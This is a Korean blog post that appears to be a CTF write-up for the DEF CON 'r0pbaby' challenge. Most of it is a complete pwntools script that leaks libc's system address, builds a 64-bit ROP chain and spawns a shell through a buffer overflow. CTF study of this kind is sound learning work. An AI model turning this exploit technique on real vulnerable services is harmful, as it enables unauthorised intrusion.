본문 바로가기

CTF/Defcon

Defcon pwnable_r0pbaby Write up

이거 익스하느라 좀 애먹었다

그냥 64비트 ROP 문제인데, 가젯이 재대로 안들어가서 애좀 먹었다

공격 시나리오는 3번에서 bof 가 터지므로 거기를 ROP 시키면된다.

3번 버튼을 입력하면 우리에 payload 에 맞게 길이를 입력해주고 다음에 payload 를 던저주면 된다.

 

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

p = process("r0pbaby")
binf = process("r0pbaby")

#gdb.attach(p)

p.recvuntil("\n:")
p.send("2\n")
p.recvuntil(":")
p.send("system\n")
p.recvuntil("Symbol system: ")

tmp = p.recvuntil("\n")
addr_leak_system = int(tmp,16)
#print addr_leak_system
addr_pr = addr_leak_system - 0x2428e
addr_binsh = addr_leak_system + 0x1479c7

log.info("leak addr = " + hex(addr_leak_system))
log.info("addr_pr = " + hex(addr_pr))
log.info("addr_binsh = " + hex(addr_binsh))

p.recvuntil("\n:")
p.send("3\n")
p.recvuntil("Enter bytes to send (max 1024): ")
#p.send("A"*36)

payload = "A"*8
payload += p64(addr_pr)
payload += p64(addr_binsh)
payload += p64(addr_leak_system)

p.sendline(str(len(payload)+1))
p.sendline(payload)
#p.sendline("4")

p.interactive()

개꿀~

'CTF > Defcon' 카테고리의 다른 글

Defcon pwnable_speedrun-002 Write up  (0) 2019.10.23
Defcon pwnable_speedrun-001 Write up  (0) 2019.10.23
PlaidCTF pwnable_ropasaurusrex Write up  (0) 2019.10.20